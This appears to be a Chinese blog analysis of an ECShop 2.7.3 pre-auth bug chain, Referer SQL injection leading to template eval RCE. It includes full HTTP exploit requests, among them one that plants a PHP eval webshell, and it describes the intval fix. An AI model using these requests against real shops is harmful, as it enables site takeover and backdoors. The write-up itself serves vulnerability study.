ECshop 漏洞分析0x01 前言 这两天出来一个ECshop的全版本RCE漏洞。先感慨一下,自己怎么这么菜,当时审计的时候没发现。最近事情又多,又开始懒了,所以这里补一下这个坑。 漏洞环境ECshop_v2.7.3nginxphp 0x02 分析漏洞的触发点在于ECShop系统的 user.php 文件中, display 函数的参数可控,可以配合注入可达到远程代码执行的效果。 由于是可以不登陆的前台RCE,所以这个漏洞危害还是很高的感觉,利用成本感觉也相当的低。所以分析的时候分两部分,第一部分是SQL注入分析,第二部分是RCE分析。 SQL注入首先漏洞的触发点在 user.php 文件中的 Referer 字段里,我们截取部分相关代码看一下。 第8行 中的 $back_act 变量从 server 数组中的 Referer 字段获取数据,众所周知, Referer 字段是可控的。然后代码中的 第20行 以 assign 方法处理 $back_act 变量的值。第21行 以 display 方法处理 user_passport.dwr 。 跟进一下 assign 方法,这个函数位置在 /includes/cls_template.php 文件中,我们截取部分相关代码,从代码中来看 assign 方法的作用是把可控变量传递给模版函数。 我们继续跟进一下 display 方法,该方法出现在 /includes/cls_template.php 文件中,截取部分相关代码。这里的 display 方法的作用应该是将模版内容展现在页面上。 而我们刚刚 user.php 中的代码是这样的。 $smarty->display('user_passport.dwt'); 所以这里 display 方法的使用就是读取 user_passport.dwt 文件的内容,然后解析变量展示为 html ,并且在 第18行 中交由 _echash 进行分割处理,得到的 $k 变量的值交由 insert_mod 方法进行处理。这里实际上 insert_mod 方法中的 $val 是可控的。我们跟进一下 insert_mod 方法。 该方法出现在 /includes/cls_template.php 文件中,截取部分相关代码。这个 insert_mod 方法在 第三行 以|字符分割传入的内容, 第四行 反序列化传输入的 $para ,然后 第五行 通过字符串拼接的方式动态调用函数,最后在 第7行 返回调用函数处理 $para 变量的结果。 所以这里 insert_mod 方法里的函数与参数均可以被控制,我们知道注入点在 /includes/lib_insert.php 中的 insert_ads 方法,我们看一下相关代码。 这里很明显 第21行 和 第22行 的 $arr['id'] 和 $arr['num'] 存在SQL注入。我们来验证一下漏洞。我们看一下正常的登陆过程中的序列化字符串 然后我们看看我们的sql注入的payload GET /ECShop_V2.7.3/upload/user.php HTTP/1.1
Host: 192.168.248.134
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=smvoo8f5vtgjdtjiva5t0sbec3; ECS_ID=8eea8943e36b6f122bee4ae508742f4e99f354f2; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Connection: close 远程代码执行漏洞触发流程还是通过 user.php 文件中的 Referer 字段传递参数,然后通过 display 方法处理 user_passport.dwr 。跟进 display 方法,该方法在 /includes/cls_template.php 文件中,这次的触发点是在第16行的 fetch 方法。 跟进 fetch 方法,相关代码 /includes/cls_template.php 文件。这里 第20行 的 _eval 函数引起了我的主意。跟进一下 _eval 函数。 _eval 函数出现在 /includes/cls_template.php 文件,我们看看相关代码, eval 函数里的可控,那么就会造成RCE的问题了。 所以这里需要找一下哪里调用了这个 fetch 方法,回过头来,我们想想,我们的SQL注入通过动态函数调用,找到存在注入点 insert_ads 的函数。那么我们在找找这个函数,我们发现这个方法也存在 fetch 方法的调用,相关代码出现在 /includes/lib_insert.php 文件中。 我们看到 第7行 有这样一样代码, $val = $GLOBALS['smarty']->fetch($position_style); 跟进一下 $position_style ,该变量的取值过程也在 /includes/lib_insert.php 文件中写好了。该 $position_style 变量是从数据库中获取数据,假设这个字段可控,那么就会有RCE问题产生了。 这里我们就需要配合刚刚说的SQL注入漏洞。我们知道注入点有两处,一个是 $arr['id'] ,另一个是 $['num'] 。 $arr['id'] 的位置在 and 后,可以构造 union 联合查询。而 $['num'] 位置在 order by 后面,所以这里可能没办法使用,我们可以截断它。 这里针对 $row['position_id'] 做了判断,所以首先我们需要绕过这里判断。 这里我们可以在id处传入'/*这里的作用就是闭合前面的单引号,然后配合num的值注释掉ORDER BY rnd LIMIT。 GET /ECShop_V2.7.3/upload/user.php HTTP/1.1
Host: 172.16.244.129
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=smvoo8f5vtgjdtjiva5t0sbec3; ECS_ID=8eea8943e36b6f122bee4ae508742f4e99f354f2; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:47:"*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -";s:2:"id";s:3:"'/*";}
Connection: close 在数据库里运行之后 这里我们前面分析过,我们可控的字段是 $row[position_style] ,因此这里需要将payload的位置填写在 $row[position_style] 。 这里我们在回过头来看看 fetch 方法,相关代码 /includes/cls_template.php 文件。主要是查看是否有做一些过滤。我们看到 第20行 调用 fetch_str 函数处理传入的数据,跟进 fetch_str 函数。 该函数出现在 /includes/cls_template.php 文件中,截取相关代码,关键代码在 第13行 。 这个函数处理之后最终会return回一个数据,而这部代码主要的作用是假如$source=xxxx{$asd}xxx,那么经过这行代码处理后就是返回this->select('\$asd')的值。 这里继续跟进一下 select 函数,该函数位置也在 /includes/cls_template.php 文件中。我们看到 第21行 ,出现$的时候,会调用 get_val 函数进行处理。 跟进 get_val 函数,该函数位置也在 /includes/cls_template.php 文件中。代码 第14行 当我们的 $val 参数没有.$会在 第26行 调用 make_var 函数进行处理。 跟进一下 make_var 函数,该函数位置也在 /includes/cls_template.php 文件中。这里我们的 $val 变量最后处理的结果实际上是个字符串。 所以这里我们下个断点看看。 GET /ECShop_V2.7.3/upload/user.php HTTP/1.1
Host: 172.16.244.129
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=smvoo8f5vtgjdtjiva5t0sbec3; ECS_ID=8eea8943e36b6f122bee4ae508742f4e99f354f2; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:70:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x617b246c316e6b33727d61,10-- -";s:2:"id";s:3:"'/*";}
Connection: close 这里的0x617b246c316e6b33727d61对应的值是a{$l1nk3r}a 因此这里实际上,我们需要闭合这个单引号和反括号,逃逸出来然后执行我们想执行的东西。 {$l1nk3r'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ2wxbmszci5waHAnLCc8P3BocCBldmFsKCRfUE9TVFtsMW5rM3JdKTsgPz4nKQ=='));//}xxx GET /ECShop_V2.7.3/upload/user.php HTTP/1.1
Host: 172.16.244.129
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=smvoo8f5vtgjdtjiva5t0sbec3; ECS_ID=8eea8943e36b6f122bee4ae508742f4e99f354f2; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:310:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b246c316e6b3372275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a327778626d737a636935776148416e4c4363385033426f6343426c646d46734b43526655453954564674734d5735724d334a644b547367507a346e4b513d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
Connection: close 最后会在根目录下生成一个马。 0x03 修复方式我们可以看到最新版在 $arr['num'] 和 $arr['id'] 中加入了intval,强制类型转换来修复。 0x04 思考PHP下这种模板引起的RCE好像不少见了,seacms的那个好像也是因为这个引起的,但是吧,这个问题为啥自己没审计到呢,归根到底还是太菜了。 0x05 参考文章 |